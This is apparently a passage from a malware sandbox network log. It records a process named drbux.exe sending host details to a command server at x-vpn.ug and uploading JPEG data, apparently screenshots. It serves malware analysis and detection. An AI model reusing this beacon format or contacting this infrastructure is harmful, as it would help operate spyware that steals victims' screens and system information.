Jul 19, 2021 18:36:47.983892918 CEST	19551	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:48.150888920 CEST	19605	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49765	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:35.760270119 CEST	3657	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:35.760353088 CEST	3657	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:35.760581970 CEST	3667	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:35.760771990 CEST	3670	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:35.844177961 CEST	3670	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:35.844609976 CEST	3673	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:35.844738007 CEST	3676	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:35.844939947 CEST	3678	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:35.845065117 CEST	3681	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:35.845475912 CEST	3684	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:35.845635891 CEST	3687	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:35.846123934 CEST	3691	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.6	50039	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:48.036663055 CEST	19587	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:48.120863914 CEST	19605	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.6	50040	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:48.323604107 CEST	19606	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:48.427725077 CEST	19607	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.6	50041	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:48.460503101 CEST	19607	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:48.460683107 CEST	19607	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:48.460911989 CEST	19617	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:48.460958958 CEST	19620	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:48.539249897 CEST	19621	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:48.539597988 CEST	19623	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:48.539736032 CEST	19634	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:48.539946079 CEST	19641	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:48.539962053 CEST	19642	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:48.539978027 CEST	19646	OUT	Data Raw: 1a a2 47 8a 29 b9 a3 34 c4 3c 1a 5a 60 34 e0 69 a2 47 83 4e 07 34 c1 cd 38 55 22 58 fa 29 29 6a 89 1c 29 c0 d3 05 3a a9 12 d1 28 3c 53 f3 51 03 4e 06 ad 32 1a 24 06 9e 0d 44 0f 34 e5 ab 4c 86 89 81 a7 83 50 8a 7e 6a d3 33 68 93 34 03 4c cd 28 35 Data Ascii: G)4<Z`4iGN48U"X))j):(<SQN2$D4LP~j3h4L(5WS -"Gz(5D8"oZp&p=@QTA<.RHjpJ4cPt@}h.Qa=8OJ^foZU=G(Tdb+
Jul 19, 2021 18:36:48.618299007 CEST	19652	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:48.618567944 CEST	19657	OUT	Data Raw: 03 ea 2b a3 d3 75 cd 32 cb cc d3 20 d4 ac d2 38 34 67 b4 8a f6 f2 c9 a5 82 59 de e1 65 6f dd 98 dc 94 03 20 6e 4e d9 c0 cd 61 78 82 f2 d2 ff 00 5d 92 e2 cd fc d0 61 89 65 98 2b 2a 4b 2a a0 0c c8 ad ca a1 23 e5 5c 0c 0c 00 14 70 2e 15 66 e6 93 db Data Ascii: +u2 84gYeo nNax]ae+K#\p.f]A77Mmh3`Lgz<$kHn4"O4 0n;=IB7S:0jvAc-l$wLQKcO1hfJOKvv

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.6	50042	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:48.617907047 CEST	19647	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:48.702992916 CEST	19706	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.6	50043	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:48.924067974 CEST	19707	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:49.017232895 CEST	19721	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.6	50044	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:48.924833059 CEST	19707	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:48.924971104 CEST	19707	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:48.925138950 CEST	19717	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:48.925261021 CEST	19720	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:49.017770052 CEST	19721	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
